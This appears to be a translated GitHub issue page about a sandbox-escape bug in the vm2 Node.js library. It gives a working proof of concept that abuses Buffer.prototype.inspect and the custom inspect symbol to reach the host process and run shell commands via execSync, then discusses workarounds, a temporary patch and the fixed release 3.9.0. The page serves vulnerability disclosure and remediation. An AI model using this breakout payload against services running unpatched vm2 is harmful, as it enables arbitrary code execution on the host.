Vm2: Breakout com inspecionar

Criado em 1 mar. 2020  ·  11Comentários  ·  Fonte: patriksimek/vm2

O código a seguir pode ser usado para escapar do vm e, por exemplo, executar o comando no shell.
Já foi relatado em # 187 aqui , ainda funciona no nó 13.6.0 e vm2 v3.8.4

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

Comentários muito úteis

@mxschmitt Lançado recentemente como 3.9.0. Desculpe-me pela demora.

Todos 11 comentários

@patriksimek Este problema foi corrigido no master, no entanto, a correção veio com https://github.com/patriksimek/vm2/pull/242, que é posterior à versão 3.8.4. Portanto, o MPN não tem essa correção.

Ele permanece aberto até que a v3.8.5 seja lançada.

Temos um HEC?

@ jan-osch Como @patriksimek parece estar bastante inativo, não sei.

@XmiliaH obrigado por sua resposta e todas as contribuições!

Você acha que essa solução alternativa corrigida pelo macaco evitará o rompimento até que tenhamos uma versão atualizada publicada?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-osch Isso não é uma boa alma:
1) Esquece a chave [Symbol.for ("nodejs.util.inspect.custom")].
2) Permite escrever no protótipo do Buffer hospedeiro.
3) O problema é que o console.log também acionará esse problema e sua solução não fará nada contra isso.

Infelizmente, não existe uma solução fácil.

Aqui está uma correção de hacky temporária mal testada:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

Ele corrige funções internas, portanto, use com cuidado.

Obrigado @XmiliaH! Você conhece algum projeto com uma suíte de teste para esses casos de emergência? Eu gostaria de adicionar alguns testes de breakout ao meu CI como um sistema de alerta precoce

Temos alguns casos de teste em test / vm.js. Basta pesquisar o ataque e você encontrará os casos.

lembrete amigável @patriksimek seria ótimo se você pudesse lançar uma nova versão.

@mxschmitt Lançado recentemente como 3.9.0. Desculpe-me pela demora.

Esta página foi útil?
0 / 5 - 0 avaliações

Questões relacionadas

wintertime-inc picture wintertime-inc  ·  5Comentários

keyosk picture keyosk  ·  64Comentários

CapacitorSet picture CapacitorSet  ·  13Comentários

somebody1234 picture somebody1234  ·  4Comentários

ghost picture ghost  ·  23Comentários